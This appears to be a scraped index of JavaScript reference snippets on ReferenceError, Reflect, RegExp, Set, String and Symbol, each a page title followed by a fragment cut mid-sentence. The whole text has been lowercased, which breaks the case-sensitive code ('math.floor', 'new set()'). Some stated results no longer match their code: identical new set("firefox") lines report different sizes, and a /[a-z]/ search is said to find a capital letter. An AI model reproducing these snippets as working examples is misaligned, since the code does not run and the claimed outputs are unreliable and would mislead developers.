// "hello" console.log(e.name) // "referenceerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
ReferenceError - JavaScript
// "hello" console.log(e.name) // "referenceerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'referenceerror' in that specification.
Reflect.apply() - JavaScript
examples using reflect.apply() reflect.apply(math.floor, undefined, [1.75]); // 1; reflect.apply(string.fromcharcode, undefined, [104, 101, 108, 108, 111]) // "hello" reflect.apply(regexp.prototype.exec, /ab/, ['confabulation']).index // 4 reflect.apply(''.charat, 'ponies', [3]) // "i" specifications specification ecmascript (ecma-262)the definition of 'reflect.apply' in that specification.
Reflect.deleteProperty() - JavaScript
[1, 2, 3, 4, 5] reflect.deleteproperty(arr, '3') // true arr // [1, 2, 3, undefined, 5] // returns true if no such property exists reflect.deleteproperty({}, 'foo') // true // returns false if a property is unconfigurable reflect.deleteproperty(object.freeze({foo: 1}), 'foo') // false specifications specification ecmascript (ecma-262)the definition of 'reflect.deleteproperty' in that specification.
Reflect.get() - JavaScript
bj = new proxy(x, { get(t, k, r) { return k + 'bar' } }) reflect.get(obj, 'foo') // "foobar" //proxy with get handler and receiver let x = {p: 1, foo: 2}; let y = {foo: 3}; let obj = new proxy(x, { get(t, prop, receiver) { return receiver[prop] + 'bar' } }) reflect.get(obj, 'foo', y) // "3bar" specifications specification ecmascript (ecma-262)the definition of 'reflect.get' in that specification.
Reflect.getOwnPropertyDescriptor() - JavaScript
reflect.getownpropertydescriptor('foo', 0) // typeerror: "foo" is not non-null object object.getownpropertydescriptor('foo', 0) // { value: "f", writable: false, enumerable: true, configurable: false } specifications specification ecmascript (ecma-262)the definition of 'reflect.getownpropertydescriptor' in that specification.
Reflect.getPrototypeOf() - JavaScript
prototypeof('foo') // throws typeerror // in es2015 only reflect throws, object coerces non-objects object.getprototypeof('foo') // string.prototype reflect.getprototypeof('foo') // throws typeerror // to mimic the object es2015 behavior you need to coerce reflect.getprototypeof(object('foo')) // string.prototype specifications specification ecmascript (ecma-262)the definition of 'reflect.getprototypeof' in that specification.
Reflect.has() - JavaScript
artswith('door') } }); reflect.has(obj, 'doorbell') // true reflect.has(obj, 'dormitory') // false reflect.has returns true for any inherited properties, like the in operator: const a = {foo: 123} const b = {__proto__: a} const c = {__proto__: b} // the prototype chain is: c -> b -> a reflect.has(c, 'foo') // true specifications specification ecmascript (ecma-262)the definition of 'reflect.has' in that specification.
Reflect.ownKeys() - JavaScript
2 = symbol.for('meteor') let obj = {[sym]: 0, 'str': 0, '773': 0, '0': 0, [sym2]: 0, '-1': 0, '8': 0, 'second str': 0} reflect.ownkeys(obj) // [ "0", "8", "773", "str", "-1", "second str", symbol(comet), symbol(meteor) ] // indexes in numeric order, // strings in insertion order, // symbols in insertion order specifications specification ecmascript (ecma-262)the definition of 'reflect.ownkeys' in that specification.
Reflect.preventExtensions() - JavaScript
reflect.preventextensions(1) // typeerror: 1 is not an object object.preventextensions(1) // 1 specifications specification ecmascript (ecma-262)the definition of 'reflect.preventextensions' in that specification.
Reflect.set() - JavaScript
let obj = {} reflect.set(obj) // true reflect.getownpropertydescriptor(obj, 'undefined') // { value: undefined, writable: true, enumerable: true, configurable: true } specifications specification ecmascript (ecma-262)the definition of 'reflect.set' in that specification.
Reflect.setPrototypeOf() - JavaScript
let target = {} let proto = object.create(target) reflect.setprototypeof(target, proto) // false specifications specification ecmascript (ecma-262)the definition of 'reflect.setprototypeof' in that specification.
Reflect - JavaScript
flect.has(duck, 'color'); // true reflect.has(duck, 'haircut'); // false returning the object's own keys reflect.ownkeys(duck); // [ "name", "color", "greeting" ] adding a new property to the object reflect.set(duck, 'eyes', 'black'); // returns "true" if successful // "duck" now contains the property "eyes: 'black'" specifications specification ecmascript (ecma-262)the definition of 'reflect' in that specification.
RegExp.prototype[@@match]() - JavaScript
console.log(result.group(1)); // 2016 console.log(result.group(2)); // 01 console.log(result.group(3)); // 02 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype[@@match]' in that specification.
RegExp.prototype[@@matchAll]() - JavaScript
} else { return array.from(result); } } } const re = new myregexp('([0-9]+)-([0-9]+)-([0-9]+)', 'g'); const str = '2016-01-02|2019-03-07'; const result = str.matchall(re); console.log(result[0]); // [ "2016-01-02", "2016", "01", "02" ] console.log(result[1]); // [ "2019-03-07", "2019", "03", "07" ] specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype[@@matchall]' in that specification.
RegExp.prototype[@@replace]() - JavaScript
console.log(newstr); // ###34567 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype[@@replace]' in that specification.
RegExp.prototype[@@search]() - JavaScript
console.log(result); // 3 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype[@@search]' in that specification.
get RegExp[@@species] - JavaScript
however, you might want to overwrite this, in order to return parent regexp objects in your derived class methods: class myregexp extends regexp { // overwrite myregexp species to the parent regexp constructor static get [symbol.species]() { return regexp; } } specifications specification ecmascript (ecma-262)the definition of 'get regexp [ @@species ]' in that specification.
RegExp.prototype[@@split]() - JavaScript
console.log(result); // ["(2016)", "(01)", "(02)"] specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype[@@split]' in that specification.
RegExp() constructor - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'regexp constructor' in that specification.
RegExp.prototype.compile() - JavaScript
var regexobj = new regexp('foo', 'gi'); regexobj.compile('new foo', 'g'); specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.compile' in that specification.
RegExp.prototype.dotAll - JavaScript
tput: true console.log(str1.replace(regex1,'')); // output: foo example var str2 = 'bar\nexample foo example'; var regex2 = new regexp('bar.example'); console.log(regex2.dotall); // output: false console.log(str2.replace(regex2,'')); // output: bar // example foo example specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.dotall' in that specification.
RegExp.prototype.flags - JavaScript
polyfill if (regexp.prototype.flags === undefined) { object.defineproperty(regexp.prototype, 'flags', { configurable: true, get: function() { return this.tostring().match(/[gimsuy]*$/)[0]; } }); } examples using flags /foo/ig.flags; // "gi" /bar/myu.flags; // "muy" specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.flags' in that specification.
RegExp.prototype.global - JavaScript
examples using global var regex = new regexp('foo', 'g'); console.log(regex.global); // true var str = 'fooexamplefoo'; var str1 = str.replace(regex, ''); console.log(str1); // output: example var regex1 = new regexp('foo'); var str2 = str.replace(regex1, ''); console.log(str2); // output: examplefoo specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.global' in that specification.
RegExp.prototype.ignoreCase - JavaScript
examples using ignorecase var regex = new regexp('foo', 'i'); console.log(regex.ignorecase); // true specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.ignorecase' in that specification.
RegExpInstance.lastIndex - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'regexp.lastindex' in that specification.
RegExp.prototype.multiline - JavaScript
examples using multiline var regex = new regexp('foo', 'm'); console.log(regex.multiline); // true specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.multiline' in that specification.
RegExp.prototype.source - JavaScript
new regexp().source; // "(?:)" new regexp('\n').source === '\n'; // true, prior to es5 new regexp('\n').source === '\\n'; // true, starting with es5 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.source' in that specification.
RegExp.prototype.sticky - JavaScript
y; regex.lastindex = 2; regex.test('..foo'); // false - index 2 is not the beginning of the string var regex2 = /^foo/my; regex2.lastindex = 2; regex2.test('..foo'); // false - index 2 is not the beginning of the string or line regex2.lastindex = 2; regex2.test('.\nfoo'); // true - index 2 is the beginning of a line specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.sticky' in that specification.
RegExp.prototype.test() - JavaScript
foo/g; // the "global" flag is set // regex.lastindex is at 0 regex.test('foo') // true // regex.lastindex is now at 3 regex.test('foo') // false // regex.lastindex is at 0 regex.test('barfoo') // true // regex.lastindex is at 6 regex.test('foobar') //false // regex.lastindex is at 0 // (...and so on) specifications specification ecmascript (ecma-262)the definition of 'regexp.test' in that specification.
RegExp.prototype.toString() - JavaScript
ssions and escaping starting with ecmascript 5, an empty regular expression returns the string "/(?:)/" and line terminators such as "\n" are escaped: new regexp().tostring(); // "/(?:)/" new regexp('\n').tostring() === '/\n/'; // true, prior to es5 new regexp('\n').tostring() === '/\\n/'; // true, starting with es5 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.tostring' in that specification.
RegExp.prototype.unicode - JavaScript
examples using the unicode property var regex = new regexp('\u{61}', 'u'); console.log(regex.unicode); // true specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.unicode' in that specification.
RegExp - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'regexp' in that specification.
get Set[@@species] - JavaScript
however, you might want to overwrite this, in order to return parent set objects in your derived class methods: class myset extends set { // overwrite myset species to the parent set constructor static get [symbol.species]() { return set; } } specifications specification ecmascript (ecma-262)the definition of 'get set [ @@species ]' in that specification.
Set() constructor - JavaScript
examples using the set object let myset = new set() myset.add(1) // set [ 1 ] myset.add(5) // set [ 1, 5 ] myset.add(5) // set [ 1, 5 ] myset.add('some text') // set [ 1, 5, 'some text' ] let o = {a: 1, b: 2} myset.add(o) specifications specification ecmascript (ecma-262)the definition of 'set constructor' in that specification.
Set.prototype.add() - JavaScript
examples using the add method var myset = new set(); myset.add(1); myset.add(5).add('some text'); // chainable console.log(myset); // set [1, 5, "some text"] specifications specification ecmascript (ecma-262)the definition of 'set.prototype.add' in that specification.
Set.prototype.clear() - JavaScript
examples using the clear method var myset = new set(); myset.add(1); myset.add('foo'); myset.size; // 2 myset.has('foo'); // true myset.clear(); myset.size; // 0 myset.has('bar') // false specifications specification ecmascript (ecma-262)the definition of 'set.prototype.clear' in that specification.
Set.prototype.delete() - JavaScript
setobj.foreach(function(point){ if (point.x > 10){ setobj.delete(point) } }) specifications specification ecmascript (ecma-262)the definition of 'set.prototype.delete' in that specification.
Set.prototype.entries() - JavaScript
examples using entries() var myset = new set(); myset.add('foobar'); myset.add(1); myset.add('baz'); var setiter = myset.entries(); console.log(setiter.next().value); // ["foobar", "foobar"] console.log(setiter.next().value); // [1, 1] console.log(setiter.next().value); // ["baz", "baz"] specifications specification ecmascript (ecma-262)the definition of 'set.prototype.entries' in that specification.
Set.prototype.forEach() - JavaScript
ts of a set object the following code logs a line for each element in a set object: function logsetelements(value1, value2, set) { console.log('s[' + value1 + '] = ' + value2); } new set(['foo', 'bar', undefined]).foreach(logsetelements); // logs: // "s[foo] = foo" // "s[bar] = bar" // "s[undefined] = undefined" specifications specification ecmascript (ecma-262)the definition of 'set.prototype.foreach' in that specification.
Set.prototype.has() - JavaScript
'foo'); myset.has('foo'); // returns true myset.has('bar'); // returns false var set1 = new set(); var obj1 = {'key1': 1}; set1.add(obj1); set1.has(obj1); // returns true set1.has({'key1': 1}); // returns false because they are different object references set1.add({'key1': 1}); // now set1 contains 2 entries specifications specification ecmascript (ecma-262)the definition of 'set.prototype.has' in that specification.
Set.prototype.size - JavaScript
examples using size var myset = new set(); myset.add(1); myset.add(5); myset.add('some text') myset.size; // 3 specifications specification ecmascript (ecma-262)the definition of 'set.prototype.size' in that specification.
Set.prototype.values() - JavaScript
examples using values() var myset = new set(); myset.add('foo'); myset.add('bar'); myset.add('baz'); var setiter = myset.values(); console.log(setiter.next().value); // "foo" console.log(setiter.next().value); // "bar" console.log(setiter.next().value); // "baz" specifications specification ecmascript (ecma-262)the definition of 'set.prototype.values' in that specification.
Set - JavaScript
// [2, 3, 4, 5, 6, 7, 32] relation with strings let text = 'india' let myset = new set(text) // set ['i', 'n', 'd', 'i', 'a'] myset.size // 5 //case sensitive & duplicate ommision new set("firefox") // set(7) [ "f", "i", "r", "e", "f", "o", "x" ] new set("firefox") // set(6) [ "f", "i", "r", "e", "o", "x" ] specifications specification ecmascript (ecma-262)the definition of 'set' in that specification.
SharedArrayBuffer.prototype.byteLength - JavaScript
examples using bytelength var sab = new sharedarraybuffer(1024); sab.bytelength; // 1024 specifications specification ecmascript (ecma-262)the definition of 'sharedarraybuffer.prototype.bytelength' in that specification.
SharedArrayBuffer.prototype.slice() - JavaScript
examples using slice var sab = new sharedarraybuffer(1024); sab.slice(); // sharedarraybuffer { bytelength: 1024 } sab.slice(2); // sharedarraybuffer { bytelength: 1022 } sab.slice(-2); // sharedarraybuffer { bytelength: 2 } sab.slice(0, 1); // sharedarraybuffer { bytelength: 1 } specifications specification ecmascript (ecma-262)the definition of 'sharedarraybuffer.prototype.slice' in that specification.
SharedArrayBuffer - JavaScript
ffer { bytelength: 2 } sab.slice(0, 1); // sharedarraybuffer { bytelength: 1 } using it in a webgl buffer const canvas = document.queryselector('canvas'); const gl = canvas.getcontext('webgl'); const buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, sab, gl.static_draw); specifications specification ecmascript (ecma-262)the definition of 'sharedarraybuffer' in that specification.
String.prototype[@@iterator]() - JavaScript
ymbol.iterator](); console.log(striter.next().value); // "a" console.log(striter.next().value); // "\ud835\udc68" using [@@iterator]() with for..of var str = 'a\ud835\udc68b\ud835\udc69c\ud835\udc6a'; for (var v of str) { console.log(v); } // "a" // "\ud835\udc68" // "b" // "\ud835\udc69" // "c" // "\ud835\udc6a" specifications specification ecmascript (ecma-262)the definition of 'string.prototype[@@iterator]()' in that specification.
String() constructor - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'string constructor' in that specification.
String.prototype.anchor() - JavaScript
examples using anchor() var mystring = 'table of contents'; document.body.innerhtml = mystring.anchor('contents_anchor'); will output the following html: <a name="contents_anchor">table of contents</a> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.anchor' in that specification.
String.prototype.big() - JavaScript
e.log(worldstring.big()); // <big>hello, world</big> console.log(worldstring.fontsize(7)); // <fontsize=7>hello, world</fontsize> with the element.style object you can get the element's style attribute and manipulate it more generically, for example: document.getelementbyid('yourelemid').style.fontsize = '2em'; specifications specification ecmascript (ecma-262)the definition of 'string.prototype.big' in that specification.
String.prototype.blink() - JavaScript
ange the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.blink' in that specification.
String.prototype.bold() - JavaScript
ange the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.bold' in that specification.
String.prototype.charAt() - JavaScript
e { break } } if (idx >= end || idx < 0) { return '' } ret += str.charat(idx) if (/[\ud800-\udbff]/.test(ret) && /[\udc00-\udfff]/.test(str.charat(idx + 1))) { // go one further, since one of the "characters" is part of a surrogate pair ret += str.charat(idx + 1) } return ret } specifications specification ecmascript (ecma-262)the definition of 'string.prototype.charat' in that specification.
String.prototype.charCodeAt() - JavaScript
} code = str.charcodeat(idx); var hi, low; if (0xd800 <= code && code <= 0xdbff) { hi = code; low = str.charcodeat(idx + 1); // go one further, since one of the "characters" // is part of a surrogate pair return ((hi - 0xd800) * 0x400) + (low - 0xdc00) + 0x10000; } return code; } specifications specification ecmascript (ecma-262)the definition of 'string.prototype.charcodeat' in that specification.
String.prototype.codePointAt() - JavaScript
les using codepointat() 'abc'.codepointat(1) // 66 '\ud800\udc00'.codepointat(0) // 65536 'xyz'.codepointat(42) // undefined looping with codepointat() for (let codepoint of '\ud83d\udc0e\ud83d\udc71\u2764') { console.log(codepoint.codepointat(0).tostring(16)) } // '1f40e', '1f471', '2764' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.codepointat' in that specification.
String.prototype.concat() - JavaScript
let greetlist = ['hello', ' ', 'venkat', '!'] "".concat(...greetlist) // "hello venkat!" "".concat({}) // [object object] "".concat([]) // "" "".concat(null) // "null" "".concat(true) // "true" "".concat(4, 5) // "45" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.concat' in that specification.
String.prototype.endsWith() - JavaScript
length; } return this.substring(this_len - search.length, this_len) === search; }; } examples using endswith() let str = 'to be, or not to be, that is the question.' console.log(str.endswith('question.')) // true console.log(str.endswith('to be')) // false console.log(str.endswith('to be', 19)) // true specifications specification ecmascript (ecma-262)the definition of 'string.prototype.endswith' in that specification.
String.prototype.fixed() - JavaScript
examples using fixed() the following example uses the fixed method to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.fixed()); // "<tt>hello, world</tt>" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.fixed' in that specification.
String.prototype.fontcolor() - JavaScript
fontcolor('ff00') + ' is red in hexadecimal in this line'); // '<font color="ff00">hello, world</font> is red in hexadecimal in this line' with the element.style object you can get the element's style attribute and manipulate it more generically, for example: document.getelementbyid('yourelemid').style.color = 'red'; specifications specification ecmascript (ecma-262)the definition of 'string.prototype.fontcolor' in that specification.
String.prototype.fontsize() - JavaScript
(worldstring.big()); // <big>hello, world</big> console.log(worldstring.fontsize(7)); // <font size="7">hello, world</fontsize> with the element.style object you can get the element's style attribute and manipulate it more generically, for example: document.getelementbyid('yourelemid').style.fontsize = '0.7em'; specifications specification ecmascript (ecma-262)the definition of 'string.prototype.fontsize' in that specification.
String.fromCharCode() - JavaScript
a surrogate pair): string.fromcharcode(0xd83c, 0xdf03); // code point u+1f303 "night with string.fromcharcode(55356, 57091); // stars" == "\ud83c\udf03" string.fromcharcode(0xd834, 0xdf06, 0x61, 0xd834, 0xdf07); // "\ud834\udf06a\ud834\udf07" specifications specification ecmascript (ecma-262)the definition of 'string.fromcharcode' in that specification.
String.prototype.includes() - JavaScript
he question.' console.log(str.includes('to be')) // true console.log(str.includes('question')) // true console.log(str.includes('nonexistent')) // false console.log(str.includes('to be', 1)) // false console.log(str.includes('to be')) // false console.log(str.includes('')) // true specifications specification ecmascript (ecma-262)the definition of 'string.prototype.includes' in that specification.
String.prototype.indexOf() - JavaScript
he following example sets count to the number of occurrences of the letter e in the string str: const str = 'to be, or not to be, that is the question.' let count = 0 let position = str.indexof('e') while (position !== -1) { count++ position = str.indexof('e', position + 1) } console.log(count) // displays 4 specifications specification ecmascript (ecma-262)the definition of 'string.prototype.indexof' in that specification.
String.prototype.italics() - JavaScript
change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.italics' in that specification.
String.prototype.link() - JavaScript
var hottext = 'mdn'; var url = 'https://developer.mozilla.org/'; console.log('click to return to ' + hottext.link(url)); // click to return to <a href="https://developer.mozilla.org/">mdn</a> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.link' in that specification.
String.prototype.matchAll() - JavaScript
t1test2'; str.match(regexp); // array ['test1', 'test2'] using matchall, you can access capture groups easily: let array = [...str.matchall(regexp)]; array[0]; // ['test1', 'e', 'st1', '1', index: 0, input: 'test1test2', length: 4] array[1]; // ['test2', 'e', 'st2', '2', index: 5, input: 'test1test2', length: 4] specifications specification ecmascript (ecma-262)the definition of 'string.prototype.matchall' in that specification.
String.prototype.padEnd() - JavaScript
examples using padend 'abc'.padend(10); // "abc " 'abc'.padend(10, "foo"); // "abcfoofoof" 'abc'.padend(6, "123456"); // "abc123" 'abc'.padend(1); // "abc" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.padend' in that specification.
String.prototype.padStart() - JavaScript
'abc'.padstart(1); // "abc" fixed width string number conversion // javascript version of: (unsigned) // printf "%0*d" width num function leftfillnum(num, targetlength) { return num.tostring().padstart(targetlength, 0); } const num = 123; console.log(leftfillnum(num, 5)); // expected output: "00123" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.padstart' in that specification.
String.raw() - JavaScript
// the following is equivalent to // `t${0}e${1}s${2}t`: string.raw({ raw: 'test' }, 0, 1, 2); // 't0e1s2t' specifications specification ecmascript (ecma-262)the definition of 'string.raw' in that specification.
String.prototype.replace() - JavaScript
function f2c(x) { function convert(str, p1, offset, s) { return ((p1 - 32) * 5/9) + 'c'; } let s = string(x); let test = /(-?\d+(?:\.\d*)?)f\b/g; return s.replace(test, convert); } specifications specification ecmascript (ecma-262)the definition of 'string.prototype.replace' in that specification.
String.prototype.replaceAll() - JavaScript
this won't work: 'aabbcc'.replaceall(/b/, '.'); typeerror: replaceall must be called with a global regexp this will work: 'aabbcc'.replaceall(/b/g, '.'); "aa..cc" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.replaceall' in that specification.
String.prototype.search() - JavaScript
an unsuccessful search (-1) let str = "hey jude" let re = /[a-z]/g let redot = /[.]/g console.log(str.search(re)) // returns 4, which is the index of the first capital letter "j" console.log(str.search(redot)) // returns -1 cannot find '.' dot punctuation specifications specification ecmascript (ecma-262)the definition of 'string.prototype.search' in that specification.
String.prototype.slice() - JavaScript
console.log(str.slice(-5, -1)) // => "n us" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.slice' in that specification.
String.prototype.small() - JavaScript
(worldstring.big()); // <big>hello, world</big> console.log(worldstring.fontsize(7)); // <font size="7">hello, world</fontsize> with the element.style object you can get the element's style attribute and manipulate it more generically, for example: document.getelementbyid('yourelemid').style.fontsize = '0.7em'; specifications specification ecmascript (ecma-262)the definition of 'string.prototype.small' in that specification.
String.prototype.split() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'string.prototype.split' in that specification.
String.prototype.startsWith() - JavaScript
examples using startswith() //startswith let str = 'to be, or not to be, that is the question.' console.log(str.startswith('to be')) // true console.log(str.startswith('not to be')) // false console.log(str.startswith('not to be', 10)) // true specifications specification ecmascript (ecma-262)the definition of 'string.prototype.startswith' in that specification.
String.prototype.strike() - JavaScript
to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.strike' in that specification.
String.prototype.sub() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'string.prototype.sub' in that specification.
String.prototype.substr() - JavaScript
'm' console.log(astring.substr(1, 0)); // '' console.log(astring.substr(-1, 1)); // 'a' console.log(astring.substr(1, -1)); // '' console.log(astring.substr(-3)); // 'lla' console.log(astring.substr(1)); // 'ozilla' console.log(astring.substr(-20, 2)); // 'mo' console.log(astring.substr(20, 2)); // '' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.substr' in that specification.
String.prototype.sup() - JavaScript
to format a string: var supertext = 'superscript'; var subtext = 'subscript'; console.log('this is what a ' + supertext.sup() + ' looks like.'); // "this is what a <sup>superscript</sup> looks like." console.log('this is what a ' + subtext.sub() + ' looks like.'); // "this is what a <sub>subscript</sub> looks like." specifications specification ecmascript (ecma-262)the definition of 'string.prototype.sup' in that specification.
String.prototype.toLowerCase() - JavaScript
examples using tolowercase() console.log('alphabet'.tolowercase()); // 'alphabet' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.tolowercase' in that specification.
String.prototype.toString() - JavaScript
examples using tostring() the following example displays the string value of a string object: var x = new string('hello world'); console.log(x.tostring()); // logs 'hello world' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.tostring' in that specification.
String.prototype.toUpperCase() - JavaScript
console.log(a, b); specifications specification ecmascript (ecma-262)the definition of 'string.prototype.touppercase' in that specification.
String.prototype.trim() - JavaScript
var orig = 'foo '; console.log(orig.trim()); // 'foo' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.trim' in that specification.
String.prototype.trimEnd() - JavaScript
in some engines this means: string.prototype.trimright.name === "trimend"; examples using trimend() the following example displays the lowercase string ' foo': var str = ' foo '; console.log(str.length); // 8 str = str.trimend(); console.log(str.length); // 6 console.log(str); // ' foo' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.trimend' in that specification.
String.prototype.trimStart() - JavaScript
.replace(r,'') } } })(proto,'trimstart'); })(window); */ examples using trimstart() the following example displays the lowercase string 'foo ': var str = ' foo '; console.log(str.length); // 8 str = str.trimstart(); console.log(str.length); // 5 console.log(str); // 'foo ' specifications specification ecmascript (ecma-262)the definition of ' string.prototype.trimstart' in that specification.
String.prototype.valueOf() - JavaScript
examples using valueof() var x = new string('hello world'); console.log(x.valueof()); // displays 'hello world' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.valueof' in that specification.
String - JavaScript
for example: let outputstrings = [] for (let i = 0, n = inputvalues.length; i < n; ++i) { outputstrings.push(string(inputvalues[i])); } specifications specification ecmascript (ecma-262)the definition of 'string' in that specification.
Symbol.prototype[@@toPrimitive] - JavaScript
examples using @@toprimitive const sym = symbol("example"); sym === sym[symbol.toprimitive](); // true specifications specification ecmascript (ecma-262)the definition of 'symbol.prototype.@@toprimitive' in that specification.
Symbol.asyncIterator - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'symbol.asynciterator' in that specification.
Symbol.prototype.description - JavaScript
desc" symbol('').description; // "" symbol().description; // undefined // well-known symbols symbol.iterator.tostring(); // "symbol(symbol.iterator)" symbol.iterator.description; // "symbol.iterator" // global symbols symbol.for('foo').tostring(); // "symbol(foo)" symbol.for('foo').description; // "foo" specifications specification ecmascript (ecma-262)the definition of 'get symbol.prototype.description' in that specification.
Symbol.hasInstance - JavaScript
{ static [symbol.hasinstance](instance) { return array.isarray(instance) } } console.log([] instanceof myarray); // true function myarray() { } object.defineproperty(myarray, symbol.hasinstance, { value: function(instance) { return array.isarray(instance); } }); console.log([] instanceof myarray); // true specifications specification ecmascript (ecma-262)the definition of 'symbol.hasinstance' in that specification.
Symbol.isConcatSpreadable - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'symbol.isconcatspreadable' in that specification.
Symbol.iterator - JavaScript
using it as such is likely to result in runtime exceptions or buggy behavior: var nonwellformediterable = {} nonwellformediterable[symbol.iterator] = () => 1 [...nonwellformediterable] // typeerror: [] is not a function specifications specification ecmascript (ecma-262)the definition of 'symbol.iterator' in that specification.
Symbol.keyFor() - JavaScript
examples using keyfor var globalsym = symbol.for('foo'); // create a new global symbol symbol.keyfor(globalsym); // "foo" var localsym = symbol(); symbol.keyfor(localsym); // undefined // well-known symbols are not symbols registered // in the global symbol registry symbol.keyfor(symbol.iterator) // undefined specifications specification ecmascript (ecma-262)the definition of 'symbol.keyfor' in that specification.
Symbol.match - JavaScript
var re = /foo/; re[symbol.match] = false; '/foo/'.startswith(re); // true '/baz/'.endswith(re); // false specifications specification ecmascript (ecma-262)the definition of 'symbol.match' in that specification.
Symbol.matchAll - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'symbol.matchall' in that specification.
Symbol.replace - JavaScript
configurable no examples using symbol.replace class customreplacer { constructor(value) { this.value = value; } [symbol.replace](string) { return string.replace(this.value, '#!@?'); } } console.log('football'.replace(new customreplacer('foo'))); // expected output: "#!@?tball" specifications specification ecmascript (ecma-262)the definition of 'symbol.replace' in that specification.
Symbol.search - JavaScript
le no examples custom string search class caseinsensitivesearch { constructor(value) { this.value = value.tolowercase(); } [symbol.search](string) { return string.tolowercase().indexof(this.value); } } console.log('foobar'.search(new caseinsensitivesearch('bar'))); // expected output: 3 specifications specification ecmascript (ecma-262)the definition of 'symbol.search' in that specification.
Symbol.species - JavaScript
bol lets you do this: class myarray extends array { // overwrite species to the parent array constructor static get [symbol.species]() { return array; } } let a = new myarray(1,2,3); let mapped = a.map(x => x * x); console.log(mapped instanceof myarray); // false console.log(mapped instanceof array); // true specifications specification ecmascript (ecma-262)the definition of 'symbol.species' in that specification.
Symbol.split - JavaScript
configurable no examples custom reverse split class reversesplit { [symbol.split](string) { const array = string.split(' '); return array.reverse(); } } console.log('another one bites the dust'.split(new reversesplit())); // expected output: [ "dust", "the", "bites", "one", "another" ] specifications specification ecmascript (ecma-262)the definition of 'symbol.split' in that specification.
Symbol.toPrimitive - JavaScript
primitive](hint) { if (hint == 'number') { return 10; } if (hint == 'string') { return 'hello'; } return true; } }; console.log(+obj2); // 10 -- hint is "number" console.log(`${obj2}`); // "hello" -- hint is "string" console.log(obj2 + ''); // "true" -- hint is "default" specifications specification ecmascript (ecma-262)the definition of 'symbol.toprimitive' in that specification.
Symbol.prototype.toString() - JavaScript
ng concatenation with them: symbol('foo') + 'bar' // typeerror: can't convert symbol to string examples using tostring symbol('desc').tostring() // "symbol(desc)" // well-known symbols symbol.iterator.tostring() // "symbol(symbol.iterator) // global symbols symbol.for('foo').tostring() // "symbol(foo)" specifications specification ecmascript (ecma-262)the definition of 'symbol.prototype.tostring' in that specification.
Symbol.toStringTag - JavaScript
for example, to acccess the symbol.tostringtag property on htmlbuttonelement: let test = document.createelement('button'); test.tostring(); // returns [object htmlbuttonelement] test[symbol.tostringtag]; // returns htmlbuttonelement specifications specification ecmascript (ecma-262)the definition of 'symbol.tostringtag' in that specification.
Symbol.unscopables - JavaScript
var obj = { foo: 1, bar: 2 }; obj[symbol.unscopables] = { foo: false, bar: true }; with (obj) { console.log(foo); // 1 console.log(bar); // referenceerror: bar is not defined } specifications specification ecmascript (ecma-262)the definition of 'symbol.unscopables' in that specification.
